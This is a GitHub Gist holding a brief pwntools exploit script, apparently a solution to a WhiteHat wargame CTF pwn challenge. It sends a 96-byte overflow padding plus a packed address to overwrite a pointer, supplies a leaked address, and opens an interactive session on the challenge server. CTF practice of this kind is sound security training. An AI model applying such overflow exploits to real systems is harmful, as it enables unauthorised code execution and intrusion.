Created
November 2, 2017 07:54
-
-
Save Az-IV/1abedf6f53c39a3bd32c4d8d3609ac64 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from pwn import * | |
puts = 0x0804A018 | |
leak = 0x0804865F | |
rand = 0x0804A028 | |
r = remote('chall05-pwn02.wargame.whitehat.vn', 28104) | |
# r = process('./pwnd') | |
# gdb.attach(r, ) | |
r.recvuntil("name: ") | |
r.sendline('a'*96+p32(rand)) | |
r.recvuntil("key1: ") | |
r.sendline(str(leak)) | |
log.info(leak) | |
log.info(rand) | |
# log.info(r.recv(1024)) | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment